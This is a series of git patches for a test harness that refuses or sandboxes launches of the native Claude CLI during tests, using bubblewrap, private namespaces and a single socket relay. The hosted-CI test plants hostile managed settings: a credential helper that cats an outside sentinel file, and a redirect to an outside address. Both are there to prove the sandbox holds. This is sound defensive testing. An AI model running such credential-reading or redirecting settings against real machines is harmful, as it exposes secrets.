From e93c60efd5405227b87037c24c8730377a11ce86 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 18:44:10 +0000 Subject: [PATCH 001/187] fix(ci): refuse unqualified native Claude test launches --- scripts/test-native-guard.ts | 29 +++++++++++++++++++++++++++++ scripts/test-network-guard.ts | 3 +++ 2 files changed, 32 insertions(+) create mode 100644 scripts/test-native-guard.ts diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts new file mode 100644 index 0000000000..30808bb68f --- /dev/null +++ b/scripts/test-native-guard.ts @@ -0,0 +1,29 @@ +/** Test-only fail-closed admission for the installed native Claude runtime. */ +import childProcess from "node:child_process"; +import { basename } from "node:path"; + +/** Match native executables and the SDK's JavaScript CLI entry point. */ +export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { + return /^(claude|claude-code)(\.exe)?$/.test(basename(command)) || + args.some(value => typeof value === "string" && /claude-agent-sdk[^\n]*\/cli\.(js|mjs)$/.test(value)); +} + +export function refuseNativeClaude(command: string, args: readonly unknown[] = []): void { + if (!isNativeClaude(command, args)) return; + // Never include arguments, environment, settings, paths or provider output. + const receipt = { kind: "native-offline-boundary", success: false, nativeLaunched: false, + reason: "OS isolation has not been qualified" }; + console.error(JSON.stringify(receipt)); + throw new Error("Offline native Claude refused before launch: OS isolation has not been qualified"); +} + +export function installNativeClaudeGuard(): void { + for (const key of ["spawn", "spawnSync", "execFile", "execFileSync"] as const) { + const original = childProcess[key]; + Object.defineProperty(childProcess, key, { configurable: true, writable: true, + value: (...args: unknown[]) => { + refuseNativeClaude(String(args[0]), Array.isArray(args[1]) ? args[1] : []); + return Reflect.apply(original, childProcess, args); + } }); + } +} diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 9c6f4c728b..92f4ea6335 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,4 +1,5 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ +import { installNativeClaudeGuard, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { isIP, Socket } from "node:net"; import { inheritWorkspaceLease } from "./workspace-lease.mjs"; @@ -27,6 +28,7 @@ function testGitEnvironment(env: Record): Record Date: Fri, 20 Nov 2026 18:50:21 +0000 Subject: [PATCH 002/187] fix(ci): seal native test storage and inference transport --- docs/process/testing.md | 24 +++++ scripts/test-native-guard.ts | 138 ++++++++++++++++++++++---- scripts/test-network-guard.ts | 24 +++-- tests/native-offline-boundary.test.ts | 109 ++++++++++++++++++++ 4 files changed, 267 insertions(+), 28 deletions(-) create mode 100644 tests/native-offline-boundary.test.ts diff --git a/docs/process/testing.md b/docs/process/testing.md index 5a59d8ff10..4d7b4a194a 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1116,3 +1116,27 @@ The dedicated backend drives the real host bridge; it does not call an image provider. The ordinary native SDK fixture remains unchanged. All selected phase deadlines, final joins, diagnostics and owned cleanup remain required. This partial composition does not replace complete PR proof. + +## Native Claude test isolation + +The test preload admits installed native Claude only on disposable hosted +runners with working Linux namespaces. An unqualified launch fails before +process creation with a `native-offline-boundary` receipt; it is never a skip. +This includes SDK `node:child_process` launches (which use Bun's subprocess +transport) and the existing worker bootstrap's exec payload. + +Direct SDK children get an empty root filesystem, explicit system/runtime and +fixture mounts, fresh PID and network namespaces, and one Unix socket bridged +to the exact scripted IPv4 loopback service. They receive a synthetic API key. +Host account databases, managed settings, homes and credential storage are not +mounted. Managed settings supplied by a hostile fixture are synthetic. Existing +workers retain their concrete fixture mounts and private egress namespace, +but lose the broad read-only host root. A shared-network native worker refuses. +No production authentication or managed-policy behavior changes. + +`tests/native-offline-boundary.test.ts` proves local refusal with harmless +synthetic executables. Hosted proof additionally exercises hostile managed +settings, an outside-HOME sentinel credential, helper descendants, denied TCP, +and the one permitted scripted service. Run installed-native backend and +provider-history cells only in hosted CI; a temporary HOME and SDK options +alone do not establish isolation. diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 30808bb68f..5354b7660a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,29 +1,127 @@ -/** Test-only fail-closed admission for the installed native Claude runtime. */ -import childProcess from "node:child_process"; -import { basename } from "node:path"; +/** Test-only OS boundary for installed native Claude processes (#4313). */ +import { existsSync, lstatSync, mkdtempSync, readlinkSync, realpathSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { basename, join, resolve } from "node:path"; + +const ROOT = resolve(import.meta.dir, ".."); +const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; +const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); +let qualified = false; -/** Match native executables and the SDK's JavaScript CLI entry point. */ export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { return /^(claude|claude-code)(\.exe)?$/.test(basename(command)) || args.some(value => typeof value === "string" && /claude-agent-sdk[^\n]*\/cli\.(js|mjs)$/.test(value)); } +function refuse(reason: string): never { + // Fixed classifications only: arguments, settings, credentials and addresses + // never enter a denial receipt. + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason })); + throw new Error(`Offline native Claude refused before launch: ${reason}`); +} + export function refuseNativeClaude(command: string, args: readonly unknown[] = []): void { - if (!isNativeClaude(command, args)) return; - // Never include arguments, environment, settings, paths or provider output. - const receipt = { kind: "native-offline-boundary", success: false, nativeLaunched: false, - reason: "OS isolation has not been qualified" }; - console.error(JSON.stringify(receipt)); - throw new Error("Offline native Claude refused before launch: OS isolation has not been qualified"); -} - -export function installNativeClaudeGuard(): void { - for (const key of ["spawn", "spawnSync", "execFile", "execFileSync"] as const) { - const original = childProcess[key]; - Object.defineProperty(childProcess, key, { configurable: true, writable: true, - value: (...args: unknown[]) => { - refuseNativeClaude(String(args[0]), Array.isArray(args[1]) ? args[1] : []); - return Reflect.apply(original, childProcess, args); - } }); + if (isNativeClaude(command, args)) refuse("OS isolation has not been qualified"); +} + +function qualify(): void { + // Positive native proof is reserved for disposable hosted runners. Namespace + // availability on a developer machine never authorizes a native test launch. + if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { + refuse("positive native proof requires a hosted runner"); + } + if (qualified) return; + const result = Bun.spawnSync(["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--ro-bind", "/usr", "/usr", + "--symlink", "usr/bin", "/bin", "--symlink", "usr/lib", "/lib", "--symlink", "usr/lib64", "/lib64", "/usr/bin/true"], + { env: {}, stdout: "pipe", stderr: "pipe", timeout: 5000 }); + if (result.exitCode !== 0) refuse("OS namespace setup failed"); + qualified = true; +} + +function systemMounts(): string[] { + const argv: string[] = []; + for (const path of SYSTEM) { + if (!existsSync(path)) continue; + if (lstatSync(path).isSymbolicLink()) argv.push("--symlink", readlinkSync(path), path); + else argv.push("--ro-bind", path, path); + } + // No host account database or managed configuration enters the native view. + for (const name of ["ld.so.cache", "alternatives", "localtime", "os-release"]) { + const path = `/etc/${name}`; + if (existsSync(path)) argv.push("--ro-bind", realpathSync(path), path); + } + return argv; +} + +interface Boundary { argv: string[]; env: Record; dispose(): void } + +/** One Unix socket forwards only to the explicitly selected scripted service. */ +function relay(upstream: string | undefined) { + let target: URL; + try { target = new URL(upstream!); } catch { return refuse("missing scripted loopback service"); } + if (target.protocol !== "http:" || target.hostname !== "127.0.0.1" || !target.port || target.username || target.password || + target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); + const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); + const socket = join(directory, "relay.sock"); + const server = Bun.serve({ unix: socket, async fetch(request) { + const url = new URL(request.url); + if (url.origin !== "http://localhost") { + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, reason: "unintended native destination" })); + return new Response("Offline native destination refused", { status: 403 }); + } + // A redirect is returned to the isolated native process; it cannot make a + // TCP connection or obtain another host socket through this bridge. + return fetch(new URL(url.pathname + url.search, target), { method: request.method, headers: request.headers, + body: request.body, redirect: "manual", signal: request.signal }); + } }); + return { directory, dispose() { server.stop(true); rmSync(directory, { recursive: true, force: true }); } }; +} + +/** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one IPC. */ +export function nativeClaudeBoundary(command: string, args: string[], options: { cwd?: string; env?: Record; managedSettings?: string }): Boundary { + qualify(); + const env = options.env ?? process.env; + const cwd = realpathSync(options.cwd ?? process.cwd()); + const home = env.HOME && realpathSync(env.HOME); + if (!home || !within(tmpdir(), home) || home === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { + refuse("native launch requires fixture-owned storage"); + } + const bridge = relay(env.ANTHROPIC_BASE_URL); + try { + const executable = realpathSync(command); + const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), + "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", "--ro-bind", ROOT, ROOT, + "--ro-bind", executable, command, "--bind", home, home, + ...(within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), + "--ro-bind", bridge.directory, "/tmp/native-relay", + ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; + const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: env.CLAUDE_CONFIG_DIR ?? home, + PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", + ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", + CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1" }; + for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); + argv.push("--chdir", cwd, "--", command, ...args); + return { argv, env: {}, dispose: bridge.dispose }; + } catch (error) { bridge.dispose(); throw error; } +} + +/** Inspect the concrete existing worker bootstrap, including its exec payload. */ +export function nativeWorkerBoundary(env: Record): Record { + if (!env.BRAIN_WORKER_LAUNCH) return env; + const launch = JSON.parse(env.BRAIN_WORKER_LAUNCH) as { command?: string[]; argv?: string[] }; + if (!launch.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return env; + qualify(); + // Existing worker egress uses a host-owned Unix relay and a private network. + // Refuse the old shared-network path; no settings option substitutes for it. + const argv = launch.argv; + if (!argv || !argv.includes("--unshare-net")) refuse("native worker lacks a private network namespace"); + const bwrap = argv.findIndex(value => basename(value) === "bwrap"); + if (bwrap < 0) refuse("native worker lacks the OS launcher"); + // Remove the broad host view. All concrete fixture/runtime mounts planned + // by the existing worker follow the system view and remain intact. + for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { + if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); } + argv.splice(bwrap + 1, 0, ...systemMounts(), "--ro-bind", ROOT, ROOT, "--ro-bind", process.execPath, process.execPath); + return { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }; } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 92f4ea6335..1faf304fca 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -1,5 +1,5 @@ /** Test-only subprocess and transport safeguards; never imported by a published package. */ -import { installNativeClaudeGuard, refuseNativeClaude } from "./test-native-guard"; +import { isNativeClaude, nativeClaudeBoundary, nativeWorkerBoundary, refuseNativeClaude } from "./test-native-guard"; import { basename, join } from "node:path"; import { isIP, Socket } from "node:net"; import { inheritWorkspaceLease } from "./workspace-lease.mjs"; @@ -28,7 +28,6 @@ function testGitEnvironment(env: Record): Record }; + const options = (Array.isArray(first) ? args[1] ?? {} : args[0]) as { cwd?: string; env?: Record }; // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. - const inherited = inheritWorkspaceLease({ ...options, env: testGitEnvironment(options.env ?? process.env) }, defaultStderr, pipeOnly); + let boundary: ReturnType | undefined; + if (isNativeClaude(executable, cmd.slice(1))) { + if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1)); + boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); + args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; + } + const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, + ...(process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT } : {}) })) }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; - else args[0] = inherited; - const result = Reflect.apply(native, Bun, args); - return result; + else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; + try { + const result = Reflect.apply(native, Bun, args); + if (boundary) void result.exited.finally(boundary.dispose); + return result; + } catch (error) { boundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts new file mode 100644 index 0000000000..b0e4367cfa --- /dev/null +++ b/tests/native-offline-boundary.test.ts @@ -0,0 +1,109 @@ +/** Refusal tests use a synthetic executable, never the installed native runtime. */ +import { expect, test } from "bun:test"; +import { chmodSync, existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; + +const ROOT = join(import.meta.dir, ".."); + +test("unqualified native SDK subprocess refuses before launch with a failed receipt", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-refusal-")); + try { + const executable = join(scratch, "claude"), marker = join(scratch, "launched"); + // Even a mutation that removes admission can only run this harmless shell. + writeFileSync(executable, `#!/bin/sh\nprintf launched > '${marker}'\n`); + chmodSync(executable, 0o700); + const script = join(scratch, "probe.ts"); + writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; + import {spawn} from "node:child_process"; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; + installNetworkGuard(); spawn(${JSON.stringify(executable)}, []);`); + const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + expect(code).not.toBe(0); + expect(existsSync(marker)).toBe(false); + expect(output).toContain('"success":false,"nativeLaunched":false'); + expect(output).toContain("positive native proof requires a hosted runner"); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +test("worker exec payload refuses before the trusted bootstrap starts", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-worker-refusal-")); + try { + const marker = join(scratch, "launched"), script = join(scratch, "probe.ts"); + writeFileSync(script, `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; + installNetworkGuard(); Bun.spawn(["/bin/sh", "-c", ${JSON.stringify(`printf launched > '${marker}'`)}], + {env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/synthetic/claude"],argv:["bwrap","--","/synthetic/claude"]})}});`); + const child = Bun.spawn([process.execPath, script], { env: { PATH: "/usr/bin:/bin", HOME: scratch }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, new Response(child.stderr).text()]); + expect(code).not.toBe(0); + expect(existsSync(marker)).toBe(false); + expect(output).toContain('"success":false,"nativeLaunched":false'); + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + +// Positive native tests are deliberately unavailable on developer hosts. The +// local suite proves refusal above; CI executes this assertion rather than a +// skipped test or an unsealed fallback. +if (process.env.GITHUB_ACTIONS === "true" && process.env.RUNNER_ENVIRONMENT === "github-hosted") { + test("hostile managed helper and native descendants cannot read an outside credential or open TCP", async () => { + const { nativeClaudeBoundary } = await import("../scripts/test-native-guard"); + const scratch = mkdtempSync(join(tmpdir(), "odysseus-native-hostile-")); + const home = join(scratch, "home"), brain = join(scratch, "brain"), managed = join(scratch, "managed"); + for (const path of [home, brain, managed]) mkdirSync(path); + const sentinel = join(scratch, "outside-home-credential"); + writeFileSync(sentinel, "odysseus-synthetic-credential"); + writeFileSync(join(managed, "managed-settings.json"), JSON.stringify({ + env: { ANTHROPIC_BASE_URL: "http://198.18.0.1:1" }, + apiKeyHelper: `/usr/bin/cat ${sentinel}`, + })); + let requests = 0; + const service = Bun.serve({ hostname: "127.0.0.1", port: 0, fetch() { requests++; return new Response("Ithaca"); } }); + // Synthetic native reader exercises the OS boundary independently of SDK + // settings precedence. The real installed runtime is covered by native + // backend/provider-history cells under the same preload. + const executable = join(brain, "claude"); + writeFileSync(executable, `#!/usr/bin/python3 +import http.client,json,os,socket,subprocess +settings=json.load(open('/etc/claude-code/managed-settings.json')) +helper=subprocess.run(settings['apiKeyHelper'],shell=True,capture_output=True) +assert helper.returncode != 0 and not helper.stdout, 'outside credential escaped' +for host,port in [('127.0.0.1',${service.port}),('198.18.0.1',1)]: + try: + socket.create_connection((host,port),timeout=1) + except OSError: + print('NATIVE_TCP_DENIED',flush=True) + else: + raise RuntimeError('unintended native destination reached') +connection=http.client.HTTPConnection('localhost') +connection.sock=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) +connection.sock.connect(os.environ['ANTHROPIC_UNIX_SOCKET']) +connection.request('GET','/v1/messages') +assert connection.getresponse().read() == b'Ithaca' +print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) +`); + chmodSync(executable, 0o700); + let boundary: ReturnType | undefined; + try { + boundary = nativeClaudeBoundary(executable, [], { cwd: brain, env: { HOME: home, ANTHROPIC_BASE_URL: service.url.origin }, managedSettings: managed }); + const child = Bun.spawn(boundary.argv, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); + const [code, out, err] = await Promise.all([child.exited, new Response(child.stdout).text(), new Response(child.stderr).text()]); + expect(code, err).toBe(0); + expect(out.match(/NATIVE_TCP_DENIED/g)).toHaveLength(2); + expect(out).toContain("HOSTILE_MANAGED_BOUNDARY_HELD"); + expect(out + err).not.toContain("odysseus-synthetic-credential"); + expect(requests).toBe(1); + // Restored mutation: re-expose only the synthetic outside credential. + // The same runtime assertion must now reject the managed helper escape. + const mutant = [...boundary.argv]; + mutant.splice(mutant.indexOf("--clearenv"), 0, "--ro-bind", sentinel, sentinel); + const broken = Bun.spawn(mutant, { env: boundary.env, stdout: "pipe", stderr: "pipe" }); + const [brokenCode, brokenOut, brokenErr] = await Promise.all([broken.exited, + new Response(broken.stdout).text(), new Response(broken.stderr).text()]); + expect(brokenCode).not.toBe(0); + expect(brokenErr).toContain("outside credential escaped"); + expect(brokenOut + brokenErr).not.toContain("odysseus-synthetic-credential"); + } finally { boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } + }); +} From a987074bcfa1741717aca1f857fc5c8186143912 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Fri, 20 Nov 2026 18:54:24 +0000 Subject: [PATCH 003/187] fix(ci): confine worker exec payloads to scripted inference --- scripts/test-native-guard.ts | 53 ++++++++++++++++-------- scripts/test-network-guard.ts | 10 +++-- tests/experiment-tier.test.ts | 2 +- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/test-determinism.test.ts | 2 +- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 10 files changed, 50 insertions(+), 29 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 5354b7660a..def45433a7 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,5 +1,5 @@ /** Test-only OS boundary for installed native Claude processes (#4313). */ -import { existsSync, lstatSync, mkdtempSync, readlinkSync, realpathSync, rmSync } from "node:fs"; +import { existsSync, lstatSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { basename, join, resolve } from "node:path"; @@ -7,6 +7,13 @@ const ROOT = resolve(import.meta.dir, ".."); const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; const within = (root: string, path: string) => path === root || path.startsWith(`${root}/`); let qualified = false; +let head: string | undefined; +function receiptHead(): string { + if (head) return head; + const result = Bun.spawnSync(["git", "rev-parse", "HEAD"], { cwd: ROOT, env: { PATH: "/usr/bin:/bin", GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_SYSTEM: "/dev/null" }, stdout: "pipe", stderr: "pipe" }); + const value = result.stdout.toString().trim(); + return head = result.exitCode === 0 && /^[0-9a-f]{40}$/.test(value) ? value : "unavailable"; +} export function isNativeClaude(command: string, args: readonly unknown[] = []): boolean { return /^(claude|claude-code)(\.exe)?$/.test(basename(command)) || @@ -16,7 +23,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = []): function refuse(reason: string): never { // Fixed classifications only: arguments, settings, credentials and addresses // never enter a denial receipt. - console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason })); + console.error(JSON.stringify({ kind: "native-offline-boundary", success: false, nativeLaunched: false, reason, head: receiptHead() })); throw new Error(`Offline native Claude refused before launch: ${reason}`); } @@ -63,6 +70,9 @@ function relay(upstream: string | undefined) { target.pathname !== "/" || target.search || target.hash) refuse("invalid scripted loopback service"); const directory = mkdtempSync(join(tmpdir(), "odysseus-native-relay-")); const socket = join(directory, "relay.sock"); + const uid = process.getuid?.() ?? 0, gid = process.getgid?.() ?? 0; + writeFileSync(join(directory, "passwd"), `odysseus:x:${uid}:${gid}:Odysseus:/tmp/native-account:/bin/sh\n`); + writeFileSync(join(directory, "group"), `odysseus:x:${gid}:\n`); const server = Bun.serve({ unix: socket, async fetch(request) { const url = new URL(request.url); if (url.origin !== "http://localhost") { @@ -86,7 +96,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { if (!home || !within(tmpdir(), home) || home === tmpdir() || !within(tmpdir(), cwd) && !within(ROOT, cwd)) { refuse("native launch requires fixture-owned storage"); } - const bridge = relay(env.ANTHROPIC_BASE_URL); + const bridge = relay(args.length === 1 && args[0] === "--version" ? "http://127.0.0.1:1" : env.ANTHROPIC_BASE_URL); try { const executable = realpathSync(command); const argv = ["bwrap", "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), @@ -94,6 +104,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--ro-bind", executable, command, "--bind", home, home, ...(within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), "--ro-bind", bridge.directory, "/tmp/native-relay", + "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: env.CLAUDE_CONFIG_DIR ?? home, PATH: "/usr/bin:/bin", LANG: "C.UTF-8", ANTHROPIC_API_KEY: "offline-odysseus", @@ -106,22 +117,30 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): Record { - if (!env.BRAIN_WORKER_LAUNCH) return env; - const launch = JSON.parse(env.BRAIN_WORKER_LAUNCH) as { command?: string[]; argv?: string[] }; - if (!launch.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return env; +export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { + const unchanged = { env, dispose() {} }; + if (!env.BRAIN_WORKER_LAUNCH) return unchanged; + const launch = JSON.parse(env.BRAIN_WORKER_LAUNCH) as { command?: string[]; argv?: string[]; env?: Record }; + if (!launch.command?.[0] || !isNativeClaude(launch.command[0], launch.command.slice(1))) return unchanged; qualify(); - // Existing worker egress uses a host-owned Unix relay and a private network. - // Refuse the old shared-network path; no settings option substitutes for it. const argv = launch.argv; - if (!argv || !argv.includes("--unshare-net")) refuse("native worker lacks a private network namespace"); + if (!argv) refuse("native worker lacks the OS launcher"); const bwrap = argv.findIndex(value => basename(value) === "bwrap"); if (bwrap < 0) refuse("native worker lacks the OS launcher"); - // Remove the broad host view. All concrete fixture/runtime mounts planned - // by the existing worker follow the system view and remain intact. - for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { - if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); - } - argv.splice(bwrap + 1, 0, ...systemMounts(), "--ro-bind", ROOT, ROOT, "--ro-bind", process.execPath, process.execPath); - return { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }; + // Even ordinary test workers use a private network and a single bridge. + // Do not rely on SDK options or the production profile to establish this. + const bridge = relay(launch.env?.ANTHROPIC_BASE_URL); + try { + for (let i = bwrap + 1; i < argv.indexOf("--", bwrap); i++) { + if (argv[i] === "--ro-bind" && argv[i + 1] === "/" && argv[i + 2] === "/") argv.splice(i--, 3); + } + argv.splice(bwrap + 1, 0, "--unshare-net", ...systemMounts(), "--ro-bind", ROOT, ROOT, "--ro-bind", process.execPath, process.execPath); + const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", + ANTHROPIC_API_KEY: "offline-odysseus", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "" }; + const separator = argv.indexOf("--", bwrap); + argv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", + "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", + ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); + return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: bridge.dispose }; + } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 1faf304fca..338bf2a6ce 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -160,15 +160,17 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); args[0] = Array.isArray(first) ? boundary.argv : { ...first, cmd: boundary.argv }; } - const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, - ...(process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT } : {}) })) }, defaultStderr, pipeOnly); + const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, + ...(process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", RUNNER_ENVIRONMENT: process.env.RUNNER_ENVIRONMENT } : {}) })); + const inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { const result = Reflect.apply(native, Bun, args); - if (boundary) void result.exited.finally(boundary.dispose); + if (key === "spawn") void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); + else workerBoundary?.dispose(); return result; - } catch (error) { boundary?.dispose(); throw error; } + } catch (error) { boundary?.dispose(); workerBoundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; } diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index ce6404a43c..b213d56069 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -17,7 +17,7 @@ import { const ROOT = join(import.meta.dir, ".."); const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", - "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; + "test-network-guard.ts", "test-native-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 2ec8c434bb..cd8b754dc7 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", 